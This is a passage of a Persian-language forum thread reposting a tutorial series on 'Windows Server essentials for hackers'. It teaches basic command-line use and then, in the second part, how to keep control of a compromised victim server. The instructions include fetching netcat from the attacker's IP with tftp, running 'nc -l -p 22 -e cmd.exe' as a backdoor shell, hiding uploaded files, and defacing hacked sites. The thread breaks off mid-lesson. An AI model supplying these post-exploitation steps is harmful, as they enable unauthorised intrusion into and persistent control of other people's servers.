صفحه 1 از 2 1 2 آخرینآخرین
نمایش نتایج: از شماره 1 تا 15 از مجموع 20

موضوع: ضروريات ويندوز سرور

  
  1. #1
    نام حقيقي: پاشا

    عضو غیر فعال
    تاریخ عضویت
    Jun 2007
    نوشته
    12
    سپاسگزاری شده
    13
    سپاسگزاری کرده
    2

    ضروريات ويندوز سرور

    تجربه بهم ثابت کرده که خيلي از افرادي که ويندوز سرور هک مي*کنند، بعد از اينکه به shell دست مي*يابند، نمي*دونند که بعدش دنبال چي باشند. حتي بعضي*ها بعد از اينکه به کمک يک نرم*افزار آماده اين کار رو انجام مي*دهند، حتي نمي*تونند از دستورات خط فرماني ويندوز استفاده کنند. اين درس راجع به همين*ها بحث مي*کنه، يعني اينکه من فرض مي*کنم که شما به shell ويندوز دست پيدا کرديد، حالا چطوري باهاش کار کنيد و سطح اختيارات خود رو بالاتر ببريد.
    شايد از من بپرسيد که من هنوز راجع به اينکه چطوري به shell دست پيدا کنيم، مقاله*اي ارائه نکردم، پس اين درس به چه دردي مي*خوره؟ جواب اينه که اين درس پيش*نياز درس*هاي بعدي خواهد بود. اگر شما سيستم*عامل ويندوز ۲۰۰۰ يا xp داريد، اکثر مطالب اين مقاله رو مي*تونيد روي کامپيوتر خودتون تست کنيد. اگه مي*خواين shell ويندوز رو در کامپيوتر خودتون بياريد، دکمه Start رو کليک کرده گزينه Run را فشار دهيد و اونجا بنويسيد: cmd که مخفف command prompt است.
    نکته بعدي اينکه فرض کنيد که شما به يک کامپيوتر و shell اون دسترسي پيدا کرديد ولي مي*خواهيد که بدونيد که در شبکه*اي که اين کامپيوتر قرار داره چه کامپيوترهاي ديگه*اي هست و وظايف اونا چيه و يا چطوري مي*شه از طريق اين کامپيوتر به اونا دست*رسي پيدا کرد. اين موضوع مربوط به مقاله*اي به نام (هک کردن شبکه*اي از ويندوز سرورها) است که اگه عمري باشه، بعدها توضيح مي*دم.
    پس اين مقاله به شما ميگه که وقتي به shell ويندوز در يک کامپيوتر رسيديد، چه کارهاي ديگه*اي در همون کامپيوتر مي*تونيد انجام بديد!
    اين سري درس*ها رو از سطح مبتدي تا پيشرفته براتون مي*گم. بنابراين ممکنه بعضي درس*ها به*دردتون نخوره...


    آراز صمدی دوست و همکار قدیمی من مقالاتی نوشت که هیچگاه کسی قادر به انکار آن ها نبود
    قصد دارم مقالاتی که ایشان در رابطه با ضروریات ویندوز سرور گفتند را اینجا مطرح کنم .
    اگر سوالی در رابطه با درس دارید اینجا مطرح کنید

    2 تا مطلب تا یادم نرفته : 1) این 5 مقاله را تا میتوانید با دقت و حتی اگر شده 20 بار مطالعه کنید تا کامل به ذهن بنشیند
    2 ) در رابطه به نرم افزار های اشاره شده بعدا مفصلا بحث خواهد شد .



    موضوعات مشابه:
    ویرایش توسط pastoo : 2007-11-07 در ساعت 11:54 PM
    herus_deus سپاسگزاری کرده است.

  2. #2
    نام حقيقي: پاشا

    عضو غیر فعال
    تاریخ عضویت
    Jun 2007
    نوشته
    12
    سپاسگزاری شده
    13
    سپاسگزاری کرده
    2

    ضروريات ويندوز سرور براي هکرها - قسمت اول

    - اين سري درس*ها (ضروريات ويندوز سرور) به چه دردي مي*خورند؟

    تجربه بهم ثابت کرده که خيلي از افرادي که ويندوز سرور هک مي*کنند، بعد از اينکه به shell دست مي*يابند، نمي*دونند که بعدش دنبال چي باشند. حتي بعضي*ها بعد از اينکه به کمک يک نرم*افزار آماده اين کار رو انجام مي*دهند، حتي نمي*تونند از دستورات خط فرماني ويندوز استفاده کنند. اين درس راجع به همين*ها بحث مي*کنه، يعني اينکه من فرض مي*کنم که شما به shell ويندوز دست پيدا کرديد، حالا چطوري باهاش کار کنيد و سطح اختيارات خود رو بالاتر ببريد.
    شايد از من بپرسيد که من هنوز راجع به اينکه چطوري به shell دست پيدا کنيم، مقاله*اي ارائه نکردم، پس اين درس به چه دردي مي*خوره؟ جواب اينه که اين درس پيش*نياز درس*هاي بعدي خواهد بود. اگر شما سيستم*عامل ويندوز ۲۰۰۰ يا xp داريد، اکثر مطالب اين مقاله رو مي*تونيد روي کامپيوتر خودتون تست کنيد. اگه مي*خواين shell ويندوز رو در کامپيوتر خودتون بياريد، دکمه Start رو کليک کرده گزينه Run را فشار دهيد و اونجا بنويسيد: cmd که مخفف command prompt است.
    نکته بعدي اينکه فرض کنيد که شما به يک کامپيوتر و shell اون دسترسي پيدا کرديد ولي مي*خواهيد که بدونيد که در شبکه*اي که اين کامپيوتر قرار داره چه کامپيوترهاي ديگه*اي هست و وظايف اونا چيه و يا چطوري مي*شه از طريق اين کامپيوتر به اونا دست*رسي پيدا کرد. اين موضوع مربوط به مقاله*اي به نام (هک کردن شبکه*اي از ويندوز سرورها) است که اگه عمري باشه، بعدها توضيح مي*دم.
    پس اين مقاله به شما ميگه که وقتي به shell ويندوز در يک کامپيوتر رسيديد، چه کارهاي ديگه*اي در همون کامپيوتر مي*تونيد انجام بديد!
    اين سري درس*ها رو از سطح مبتدي تا پيشرفته براتون مي*گم. بنابراين ممکنه بعضي درس*ها به*دردتون نخوره...
    مطلب آخر اينه که من متخصص ويندوز سرور نيستم! پس اگه ايرادي در اين مقاله مي*بينيد، حتما برام پيغام بذاريد


    - تقسيم*بندي انواع سيستم*عامل*هاي ويندوز

    همان*طور که مي*دونيد ويندوز انواع مختلفي داره که ميشه همه رو تو دو گروه تقسيم*بندي کرد:
    ۱- ويندوز*هاي desktop يا ويندوزهاي dos family که عبارتند از: ويندوزهاي قديمي ( تا سري 3.1 )، ويندوز ۹۵، ويندوز ۹۸ و ويندوز Me
    ۲- ويندوزهاي nt يا ويندوز*هاي server که عبارتند از: ويندوزهاي nt ورژن 3.0 و 4.0 ، ويندوز 2000 ( ويندوز nt ورژن 5.0 )، ويندوز XP و ويندوز NET Server 2003.
    بحث ما راجع به سري دوم ويندوزهاست.


    - دستورات کار با فايل*ها و فولدرها

    اين دستورات همون*هايي هستند که در سيستم*عامل باستاني!! مايکروسافت يعني MS DOS استفاده مي*شدند. کاربران ويندوز معمولا نيازي به يادگيري اونا احساس نمي*کنند چون همه کارها رو در محيط گرافيکي و معمولا از طريق ماوس انجام مي*دهند. ولي چون shell حالت متني دارد، شما بايد با اين دستورات آشنا بشويد. shell رو باز کنيد. متن زير ظاهر ميشه:
    Microsoft Windows 2000 [Version 5.00.2195](C) Copyright 1985-1999 Microsoft Corp.I:\>دقت کنيد که سيستم*عاملي که من shell رو در اون آوردم، ويندوز ۲۰۰۰ است و درايو پيش*فرض من که معمولا همان درايوي است که ويندوز در اون نصب شده، درايو I است. شما مسلما چيز متفاوتي خواهيد ديد. مي*نويسم:
    I:\> C:تا به درايو C وارد بشم. حالا prompt تغيير مي*کنه و نشون ميده که الان در درايو C هستم:
    C:\> مي*نويسم:
    C:\> dirو ليست زير ظاهر ميشه:
    Volume in drive C is FREE-START Volume Serial Number is 3623-07E6 Directory of C:\09/06/2003 06:29a <DIR> GAMES08/15/2003 06:20p 1,806,727 phpMyAdmin-2.5.3-rc1-php.zip06/17/2002 07:06p <DIR> upload06/19/2002 07:02p <DIR> mailserver09/13/2002 03:59a 8,053 port-tcp-c.c02/27/2003 10:28p <DIR> mp304/18/2003 07:38a 1,152 araz.pl 3 File(s) 1,815,932 bytes 4 Dir(s) 95,502,336 bytes freeاينها در واقع ليست فايل*ها و دايرکتوري*هاي موجود در درايو C کامپيوتر من است. مثلا اينجا GAMES يک فولدر ( دايرکتوري) است چون در در اون سطر کلمه <DIR> اومده که معني دايرکتوري ميده. ولي araz.pl که آخرين سطر از ليست*ه،* فايل*ه. حالا مي*نويسم:
    C:\> cd gamesو جواب مي*شنوم:
    C:\GAMES>يعني وارد فولدري بع اسم games شده*ام. بازم دستور dir رو مي*نويسم که ببينم در اين فولدر چه فايل يا فولدرهايي هست و جواب مي*شنوم:
    Volume in drive C is FREE-START Volume Serial Number is 3623-07E6 Directory of C:\GAMES09/06/2003 06:29a <DIR> .09/06/2003 06:29a <DIR> ..09/06/2003 06:29a <DIR> FORMULA109/06/2003 06:35a <DIR> SP09/06/2003 06:36a <DIR> SUPER09/06/2003 06:39a <DIR> UF 0 File(s) 0 bytes 6 Dir(s) 95,502,336 bytes freeکه مي*گه ۶ دايرکتوري وجود داره. دوتاي اولي دايرکتوري*هاي واقعي نيستند،* چون اگه بنويسم:
    C:\GAMES> cd .جواب مي*گيرم:
    C:\GAMES>يعني هيچ اتفاقي نيفتاد. و اگه بنويسم:
    C:\GAMES> cd ..جواب مي*شنوم:
    C:\>يعني يه فولدر به عقب برگشتم و اومدم به همون ريشه درايو C که قبلا بودم. پس الان در درايو C هستم و چون قبلا ديده*ام که فايلي به اسم araz.pl در اون هست مي*خوام محتويات اين فايل متني رو ببينم. مي*نويسم:
    C:\> type araz.plو جواب مي*شنوم:
    #!/usr/bin/perlprint "Content-type: text/html\n\n";use Socket;my ($remote, $port, @thataddr, $that, $them, $proto, $getpage );$remote = shift || 'www.securitytracker.com';$port = 80;@thataddr=gethostbyname($remote) or die "Not Connected";$that=pack('Sna4x8',AF_INET, $port, $thataddr[4]);$proto=getprotobyname('tcp');socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die $!;connect(SOCK, $that) or die $!;........اين محتويات فايل araz.pl است. مي*خوام يک متني فايل جديد بسازم، که محتوياتش فقط يک سطر باشه مثلا salam bar to و نامش هم باشه ali1000.txt براي اين*کار چند راه وجود داره که دو تاشو مي*گم:
    ۱- مي*تونيد بنويسيد:
    C:\> echo salam bar to > ali1000.txt۲- و مي*تونيد بنويسيد:
    C:\> copy con ali1000.txtو enter زده و جمله!! salam bar to را اونجا تايپ کنيد و وقتي تمام شد، ترکيب: CTRL + Z رو فشار بديد که فايل تموم بشه.
    در هر دو حالت چون ما در درايو C و در ريشه ( يعني نه در يک فولدر خاص ) بوديم، فايل همين*جا درست ميشه و اگه دستور dir رو اجرا کنيد،*مي*بينيد که يک فايل جديد به ليست اضافه شده. حالا مي*تونيد با دستور:
    C:\> type ali1000.txtمحتويات فايل رو ببينيد، اگرچه الانش*هم مي*دونيد چي هست! مي*خواهيم يک فولدر جديد به اسم tur2 بسازيم. مي*نويسيم:
    C:\> md tur2حالا اگر dir رو بنويسم، مي*بينم که فولدر جديد ايجاد شده. حالا مي*خوام برم تو فولدري که ساختم. مي*نويسم:
    C:\> cd tur2و بعد dir مي*گيرم. مي*بينم فعلا فقط همان دو فولدر . و .. در اينجا وجود داره که قبلا گفتم چي* هستند. اگه بخوام يه فولدر جديد در داخل اين فولدر tur2 به اسم far30 بسازم،* مي*نويسم:
    C:\tur2> md far30و اگر dir بگيرم، مي*بينم اينها وجود دارند:
    Volume in drive C is FREE-START Volume Serial Number is 3623-07E6 Directory of C:\tur210/04/2003 07:17p <DIR> .10/04/2003 07:17p <DIR> ..10/04/2003 07:18p <DIR> far30 0 File(s) 0 bytes 3 Dir(s) 95,477,760 bytes freeيعني فولدر far30 هم اضافه شده. مي*خوام فايل ali1000.txt رو از ريشه به فولدر far30 که خودش در فولدر tur2 است، کپي کنم. مي*نويسم:
    C:\tur2> copy c:\ali1000.txt c:\tur2\far30ساختارش خيلي ساده است، حتما فهميدين که اول دستور copy رو مي*نويسم. بعد با يک فاصله، مسير و نام فايلي که مي*خوام کپي کنم رو مي*نويسم و در آخر با يک فاصله، مسيري که مي*خوام فايل کپي بشه رو مي*نويسم. دقت کنيد که فايل اصلي دست نخورده باقي مي*مونه و يک کپي جديد در مسير جديد ايجاد ميشه. مي*تونستم همين فايل رو به درايو D کپي کنيم که در اين حالت بايد بنويسم:
    C:\tur2> copy c:\ali1000.txt d:که فايل به درايو D کپي بشه. حالا يه دستور جديد، مي*خوام فايل ali1000.txt رو از درايو C پاک کنم، مي*نويسم:
    C:\tur2> del c:\ali1000.txtدقت کنيد که چون من الان در فولدر tur2 هستم ولي فايلي که قراره پاک کنم در ريشه است، مسير رو بايد بنويسم، ولي اگر فايل همون*جايي که من الان هستم بود، مي*نوشتم:
    C:\> del ali1000.txtنکته مهم اينه که وقتي روي کامپيوتر خودم shell رو باز کردم، مي*تونم ببينم که کجا قرار دارم ( با نگاه به پرامت که مثلا اينجا <c:\tur2 بود*) ولي در shell ي که موقع هک کردن به اون مي*رسيم، معمولا اين پرامت ظاهر نميشه. اونجا چطوري ميشه فهميد کجا هستم؟ خيلي ساده*است با دستور زير:
    cdکه جواب ميده:
    c:\tur2چون قبلا فايل ali1000.txt رو به فولدر far30 موجود در فولدر tur2 موجود در درايو C کپي کردم، مي*رم همونجا مي*نويسم:
    C:\> cd c:\tur2\far30اگه dir بگيرم، اينو مي*بينم:
    Volume in drive C is FREE-START Volume Serial Number is 3623-07E6 Directory of C:\tur2\far3010/04/2003 07:18p <DIR> .10/04/2003 07:18p <DIR> ..10/04/2003 07:08p 15 ali1000.txt 1 File(s) 15 bytes 2 Dir(s) 95,477,760 bytes freeاگه بخوام اين فايل رو منتقل کنم به فولدر tur2 از درايو C (يعني به يه فولدر پايين تر) از دستور زير استفاده مي*کنم:
    C:\tur2\far30> move ali1000.txt c:\tur2فرق دستور move با copy اينه که فايل اصلي منتقل ميشه نه کپي! يعني از محل قبلي پاک ميشه و به محل جديد مياد!! حالا که فولدر far30 حالي شده (يعني هيچ فايل يا فولدري در اون نيست) مي*تونم پاکش کنم. اول ميام يه فولدر پايين*تر، با دستور:
    C:\tur2\far30> cd ..و با دستور جديد زير که مخصوص پاک کردن فولدر ( نه فايل ) است، فولدر far30 رو پاک مي*کنم:
    C:\tur2> rd far30و فولدر پاک ميشه. حالا مي*خوام اسم فايل ali1000.txt رو به araz.inc تغيير بدم، مي*نويسم:
    C:\tur2> ren ali1000.txt araz.inc يه dir بيريد که مطمئن بشين!! حالا مي*خوام يه کپي از اين فايل که اسمش هست araz.inc بگيرم ولي با اسم ali1000.inc و در همين فولدر. پس مي*نويسم:
    C:\tur2> copy araz.inc ali1000.incحالا اگه dir بگيريد، ۲ تا فايل مي*بينيد. حالا مي*خوام هر دو تا فايل رو منتقل کنم به درايو C ولي به ريشه، مي*بينم که هر دو فايل حرف اولشون a است و پسوندشون inc مي*تونم به دو شکل بنويسم:
    C:\tur2> move a*.inc c:\ولي چون فقط همين دوتا فايل در اين فولدر بود، مي*تونستم بنويسم:
    C:\tur2> move *.* c:\گرفتين چي شد؟ حالا يه جديد مي*خوام برم به فولدر و درايوي که فولدر ويندوز باشه. مي*تونم يکي يکي درايو ها رو برم و از همه dir بگيرم تا برسم به اوني که درايو winnt داره، ولي چون اين کامپيوتر خودمه و مي*دونم که فولدر ويندوز من کجاست!! مي*نويسم:
    C:\tur2> I:و بعد
    I:\> cd winntو يک dir مي*گيرم. مي*بينم که لسيتي از فايل*ها و فولدرهاي زيادي از جلو چشم رد ميشه ولي نمي*تونم همه رو ببينم. اگه بخوام صفحه به صفحه ببينم، مي*نويسم:
    I:\winnt> dir /pکه اين سويچ p مخفف page است. اگه بخواين ليست همه سويچ*ها رو ببينيد،* مي*تونيد بنويسيد:
    I:\winnt> dir /?حالا يه چيز جالب! با دستورات زير اول برگرديم به ريشه درايو I و بعد برگرديم درايو C :
    I:\winnt> cd ..I:\> C:حالا مي*خوام مستقيما از درايو C محتويات فولدر winnt از درايو I رو اون*هم به صورت صفحه به صفحه بخونم:
    C:\> dir i:\winnt /pحالا يه چيز بسيار مهم، مي*خوام بدون دادن مسير! ليست فايل*ها رو در فولدر مربوط به ويندوز ببينم:
    C:\> dir %SystemRoot%اينه... !!! پس در Shell کلمه %SystemRoot% يعني فولدر ويندوز. يه سويچ جديد براي دستور dir رو مي*خوام بگم. فرض کنيد که من يادم رفته فايل اجرايي cmd.exe در کدام فولدر از درايو I ( که در کامپيوتر من فولدر مربوط به ويندوز هست ) قرار داره. چون نمي*تونم برم تک تک فولدر*ها رو ببينم، بايد از سويچي استفاده کنم که وقتي يه مسير بهش مي*دم، بره و تمام سوراخ سنبه*هاي اون فولدر ( يعني همام فولدرهاي داخلي*تر ) رو هم ببينيه. از سويچ s استفاده مي*کنم و مي*نويسم:
    C:\> dir i:\cmd.exe /sو جواب مي*شنوم:
    Volume in drive I has no label. Volume Serial Number is DC24-A09D Directory of i:\WINNT\system3212/07/1999 04:00a 236,304 cmd.exe 1 File(s) 236,304 bytes Directory of i:\WINNT\system32\dllcache12/07/1999 04:00a 236,304 cmd.exe 1 File(s) 236,304 bytes Total Files Listed: 2 File(s) 472,608 bytes 0 Dir(s) 1,255,153,664 bytes freeپس اين دستور توانست فايل مربوطه رو در دو تا فولدر پيدا کنه، يعني اينا:
    i:\WINNT\system32i:\WINNT\system32\dllcacheاين cmd.exe همونه که ما در run نوشتيم که shell ويندوز اومد. حالا برمي*گردم به درايو C ( دستورش که يادتون هست! ) و dir مي*گيرم و مي*بينم که فايل ali1000.inc هنوز هم اونجا هست. مي*خوام يه دستور جديد رو بگم. ببينيد گاهي پيش مياد که ما فايلي رو به يک سرور مي*فرستيم ولي مي*خوايم به صورت مخفي يا hidden باشه. دستوري که فايل ali1000.inc رو مخفي مي*کنه، اينه:
    C:\> attrib +h ali1000.incحالا اگه dir بگيرم، ديگه فايل ali1000.inc رو نمي*بينم. البته هنوز هم هست!! اگه بخوام به کمک دستور dir فايل*هاي مخفي رو ( از جمله ali1000.inc ) ببينم، از سويچ a استفاده مي*کنيم:
    C:\> dir ali1000.inc /aحالا مي*خوام فايل رو از حالت مخفي در بيارم، مي*نويسم:
    C:\> attrib -h ali1000.incبه همين راحتي!
    اينا دستورات معمولي dos بود که براتون نوشتم. اين دستورات خيلي زياد هستند و من فقط تعداد کمي*شو براتون گفتم. اگه کتاب داس تو انباري خونتون پيدا کردين، مي*تونين دستورات بيشتري ياد بگيريد!!!


    - پسوند فايل*ها و مفاهيم آنها در ويندوز

    در سيستم*عامل ويندوز پسوندها مفاهيم خاصي دارند.

    ۱- فايل*هاي اجرايي پسوند exe يا com يا bat دارند. ( فايل*هاي با پسوند bat رو batch file مي*گن که مجموعه*اي از دستورات داس رو مي*تونني توش بنويسين که به ترتيب اجرا بشوند پس مي*تونين به کمک دستور type محتوياتشو ببينيد). ولي فايل*هاي exe و com فايل*هاي اجرايي هستند که محتوياتش براتون قابل خوندن نيست ولي قابل اجراست. حالا مي*خوام يه فايل اجرايي رو براتون بيارم که ببينيد که در shell چطوري مي*تونيد فايل اجرايي رو اجرا کنيد! مي*خوام فايل tftp.exe رو اجرا کنم. اول يه dir مي*گيرم از فولدر %SyestemRoot% و مي*بينم که اين فايل در فولدر i:\winnt\system32 قرار داره. حالا مي*خوام اجراش کنم. به دو طريق مي*تونم اين کارو انجام بدم، اولي اينکه برم تو فولدر winnt\system32 و بعد بنويسم:
    I:\WINNT\system32> tftp.exeيا اينکه مستقيما از هرجايي که باشم، بنويسم:
    C:\> i:\winnt\system32\tftp.exeو جواب بشنوم:
    Transfers files to and from a remote computer running the TFTP service.TFTP [-i] host [GET | PUT] source [destination] -i Specifies binary image transfer mode (also called octet). In binary image mode the file is moved literally, byte by byte. Use this mode when transferring binary files. host Specifies the local or remote host. GET Transfers the file destination on the remote host to the file source on the local host. PUT Transfers the file source on the local host to the file destination on the remote host. source Specifies the file to transfer. destination Specifies where to transfer the file.پس چون پسوند فايل من exe بود فهميدم که با نوشتن اسم اون مي*تونم اجراش کنم. اگه يادتون باشه واسه ابزارهاي خط*فرماني مثل nc هم، همين کارو مي*کرديم.

    ۲- فايل*هاي استاندارد:
    فايل*هاي اجرايي در ويندوز با ساير سيستم*عامل*ها از نظر پسوند فرق مي*کنه. مثلا در سيستم*هاي مبتني بر يونيکس ممکنه اصلا فايل اجرايي پسوندي نداشته باشه! ولي يه سري فايل*ها هستند که يه*جورايي استاندارد شده*اند. مثلا فايل*هاي تصويري ( که پسوندهاي gif، jpg و... دارند)، فايل*هاي html ( که پسوندهاي html يا htm دارند )، فايل*هاي asp ، php، و ... پس آشنايي با اين فايل*ها و فرمت اونا مي*تونه خيلي کمک کنه. فرض کنيد که شما يه سايت وب رو هک کرديد ولي نمي*تونيد يه فايل html طراحي کنيد که بجاي صفحه اول سايت قرار بديد، نتيجه اين ميشه که نمي*تونيد پز بديد!!!

    ۳- فايل*هاي نرم*افزارهاي کاربردي:
    نرم*افزارهاي کاربردي هرکدوم خروجي*هاشونو با يه پسوند خاص ارائه مي*کنند. مثلا فايل*هاي فتوشاپ پسوند psd دارند. فايل*هاي MS Word پسوند doc دارند و...


    - انواع سيستم*هاي فايل در ويندوز

    منظور من از سيستم*هاي فايل در واقع روش پارتيشن*بندي و فرمت*کردن درايوهايي است که در ويندوز*ها استفاده ميشه. مايکروسافت از زماني که داس رو ارائه داد تا حالا از روش*هاي مختلف براي سيستم*هاي فايل استفاده کرده است.
    ۱- FAT16 : در سيستم*عامل داس استفاده مي*شد.
    ۲- FAT32 : از ويندوز ۹۵ تا me استفاده مي*شد.
    ۳- NTFS 4.0 : در سيستم*هاي nt 4.0 استفاده مي*شد.
    ۴- NTFS هاي جديد : از ويندوز ۲۰۰۰ به بعد استفاده مي*شود. هرجا گفتم NTFS منظور اين NTFS هاست. مثلا NTFS ويندوز ۲۰۰۰ ورژن 5.0 هستش.
    نکته تابلو: سيستم*عامل*هاي جديدتر مي*تونن از روش*هاي پارتيشن*بندي مربوط به سيستم*عامل*هاي قديمي*تر سر دربياورند ولي براي اجراي بهتر نياز به پارتيشن*بندي مخصوص خود دارند. مثلا براي اينکه ويندوز ۲۰۰۰ سرور بتونه از امکاناتي که داره ( که بعدا مي*گم چي*ها داره! ) استفاده کنه خداقل يک درايو بايد به روش NTFS فرمت بشه.


    rezajavan و hirkaniaa سپاسگزاری کرده‌اند.

  3. #3
    نام حقيقي: پاشا

    عضو غیر فعال
    تاریخ عضویت
    Jun 2007
    نوشته
    12
    سپاسگزاری شده
    13
    سپاسگزاری کرده
    2

    ضروريات ويندوز سرور براي هکرها - قسمت دوم

    - يادآوري

    اين مقاله ادامه مقاله قبلي*ه! در اين درس نيز ما با يک سرور ويندوز به صورت يک کامپيوتر منفرد سروکار داريم و توجهي به کامپيوترهاي متصل به اون در شبکه*اي که هست نداريم.


    - اولين کار بعد از بدست*آوردن shell چيست؟

    اولين کاري که بعد از بدست*آوردن shell ويندوز انجام ميشه، بستگي به هکر و روش اون داره. من هميشه سعي مي*کنم که يک تروجان يا backdoor در کامپيوتر قرباني نصب کنم و معمولا هم nc رو به کار مي*برم.
    اگر توجه کنيد مي*بينيد که وقتي يه backdoor در کامپيوتر قرباني ايجاد مي*کنيم، اين backdoor هم يک shell در اختيار ما قرار مي*ده، پس چه لزومي وجود داره که وقتي shell داريم، يک shell جديد به کمک nc ايجاد کنيم؟
    دليلش سه تاست:
    ۱- گاهي ما به يک shell در کامپيوتر قرباني دست پيدا مي*کنيم که interactive يا تعاملي نيست. يه مثال مي*گم که بفهميد منظور از تعاملي بودن چيه! اگه يادتون باشه در درس قبلي به کمک دستور cmd يک shell در کامپيوتر خودمون باز کرديم. اين shell يک شل تعاملي است. در اين شل مثلا وقتي از دستور copy con استفاده کردم، شل به من اجازه داد که بعد از زدن دکمه Enter بقيه کارها رو انجام بدم ( مثلا متني که قراره داخل فايل تايپ کنم رو بنويسم و فايل رو save کنم ). در حاليکه در موارد غيرتعاملي، وقتي دستور copy con رو بنويسم،*ديگه نمي*تونم با shell تعامل داشته باشم و کار رو ادامه بدم. وقتي شل غيرتعاملي است، هر کاري رو بايد با يک دستور يک سطري انجام بدم. اگه يادتون باشه در درس قبلي دستور echo رو گفتم که خروجي*شو به يک فايل منتقل مي*کرديم و در واقع باهاش فايل متني مي*ساختيم، در شل*هاي غيرتعاملي اين دستور قابل استفاده است زيرا بعد از اجراي دستور هيچ تعاملي با ما ندارد! اونايي که مثلا با Unicode bug آشنا هستند، مي*دانند که shell ي که به کمک اون بدست مياد، يک shell non-interactive يا شل غيرتعاملي است و بهتر است به شل تعاملي تبديل شود. وقتي ما مثلا nc را به سرور مي*فرستيم و اجرا مي*کنيم، مي*تونيم با شل اون که يک شل تعاملي است راحت*تر کار کنيم. کارهاي ادامه*دار فقط توسط يک shell تعاملي قابل اجرا خواهد بود.
    ۲- وقتي ما يک shell روي کامپيوتر قرباني بدست مي*آوريم معمولا اين کار رو بدليل exploit کردن يک حفره*امنيتي در سرور کسب کرده*ايم. اگر روزي اين مشکل امنيتي توسط مسوول اون کامپيوتر رفع بشه، ما شل رو از دست خواهيم داد و در اين مواقع، داشتن يک شل nc برگ برنده هکر خواهد بود.
    ۳- بعضي تروجان*ها وقتي در کامپيوتر قرباني نصب بشوند، چيزي بيشتر از يک شل در اختيار هکر مي*گذارند. مثلا ممکنه هکر بتونه به صورت remote دسکتاپ سرور قرباني رو ببينه و کارهايي که مي*خواد رو طوري انجام بده که گويا به صورت local به کامپيوتر قرباني دسترسي داره و جلوي مونيتور نشسته و ا داره کرم*شو می*ريزه! به اين قبيل نرم*افزارها، نرم*افزارهاي remote control مي*گن. معروف*ترين remote control ها عبارتند از: PcAnyWhere ،VNC ،NetBus ،BO2K و...


    - چگونه trojan رو به کامپيوتر هدف ارسال کنم؟

    من در اين درس مي*خوام nc رو به کامپيوتر قرباني بفرستم. براي اين*کار راحت*ترين روش استفاده از برنامه*اي به نام tftp است که بصورت پيش*فرض در زيرشاخه System32 از شاخه %SyestemRoot% وجود داره. همان*طور که از اسم اين نرم*افزار بر مياد، کارش انتقال فايل از طريق شبکه است. اما تفاوت*هايي با اون ftp که قبلا باهاش کار کرديم، داره:
    ۱- براي استفاده از اون بعد از دست*يابي به شل ويندوز نيازي به username و password نيست.
    ۲- کلاينت ftp حالت تعاملي دارد ولي tftp غير تعاملي است. و با توجه به اينکه ما هنوز nc رو منتقل و اجرا نکرديم، پس اگر شلي که بدست آورديم غيرتعاملي باشه، نمي*توان از ftp استفاده کرد.

    حالا چطوري از tftp استفاده کنيم؟
    اولين کار اينه که شما بايد يک سرور tftp روي کامپيوتر خودتون اجرا کنيد. سرورهاي مختلفي وجود داره ولي معروف*ترين آنها،* Tftpd32 است. براي داون*لود اون مي*تونيد به اين صفحه مراجعه کنيد. جديدترين ورژن اين نرم*افزار ورژن 2.6 است که مي*تونيد با کليک روي اين لينک داون*لود کنيد. حالا فايل رو از حالت zip خارج کرده و روي فايل tftp32.exe دابل*کليک مي*کنيد تا پنجره نرم*افزار باز بشه که شکلي شبيه به اين داره:


    [IMG]file:///C:/Documents%20and%20Settings/Mohammad/Local%20Settings/Temp/Rar$EX03.797/CASH.doc.%7B73FDDC80-AEA9-101A-98A7-00AA00374959%7D/Pro/2_files/n13820712.jpg[/IMG]
    فرض کنيد که فايل nc.exe در فولدري به اسم far30 در درايو D قرار دارد. اول روي دکمه Settings کليک کرده و در پنجره*اي که باز مي*شود، Base Directory رو به کمک دکمه Browse روي فولدر far30 از درايو D تنظيم مي*کنيم و دکمه OK را کليک مي*کنيم. حالا در پنجره اصلي نرم*افزار هم در قسمت Current Directory روي دکمه Browse کليک کرده و همون d:\far30 رو ست مي*کنيم. حالا کامپيوتر ما آماده ارائه فايل nc.exe است که در فولدر far30 قرار دارد. مرحله بعدي اجراي دستور tftp در کامپيوتر قرباني است. فرض کنيد که ip ما در اين لحظه 217.66.198.116 است. دستور رو به صورت زير در Shell ي که بدست آورديم،* اجرا مي*کنيم:
    tftp -i 217.66.198.116 GET nc.exeو جواب مي*شنويم:
    Transfer successful: 59392 bytes in 1 second, 59392 bytes/sدقت کنيد که در دستور tftp سويچ i- يعني اينکه انتقال به صورت باينري ( و نه اسکي ) باشد. ip ذکر شده، ip خودمان است و کلمه GET يعني سرور ( که دستور tftp رو اجرا مي*کند) فايل رو بگيرد. اگه مي*نوشتيم، PUT معني مي*داد که سرور قرباني، فايل را براي ما بفرستد. دقت کنيد که برنامه tftpd32 رو روي کامپيوتر خودمان و برنامه tftp رو روي کامپيوتر قرباني اجرا کرديم. حالا که فايل nc.exe منتقل شد، مي*تونيم ازش استفاده کنيم.


    - نرم*افزار nc به کامپيوتر قرباني فرستاده شد. چطوري به عنوان يک trojan از آن استفاده کنيم؟

    اگه يادتون باشه، تو يکي از درس*ها گفتم که مهم*ترين ابزاري که يه هکر در طول زندگيش! ازش استفاده مي*کنه، netcat يا همون nc است. و گفتم که يکي از دلايل اون توانايي اين نرم*افزار براي کار هم به صورت کلاينت و هم به صورت سرور است. حالا مي*خوام به صورت passive از اين نرم*افزار استفاده کنم. به اين دليل passive مي*گم که طوري اونو اجرا مي*کنم که در کامپيوتر قرباني، روي يک پورت خاص و دلخواه فالگوش بمونه. در حالي که من هر وقت خواستم به اون کانکت مي*شم. يک پورت دلخواه انتخاب کنيد ( البته نبايد پورتي رو که در حال حاضر روي کامپيوتر قرباني باز است، باشد) مثلا من ۲۲ رو انتخاب مي*کنم. در shell کامپيوتر قرباني دستور زير رو اجرا مي*کنم:
    nc -l -p 22 -e cmd.exeاين يعني در پورت ۲۲ فالگوش بمونه و نيز cmd رو هم اجرا کنه که من يک shell بدست بيارم. حالا اگه ip کامپيوتر قرباني مثلا 63.148.112.65 باشه، در کامپيوتر خودم اين دستور رو اجرا مي*کنم:
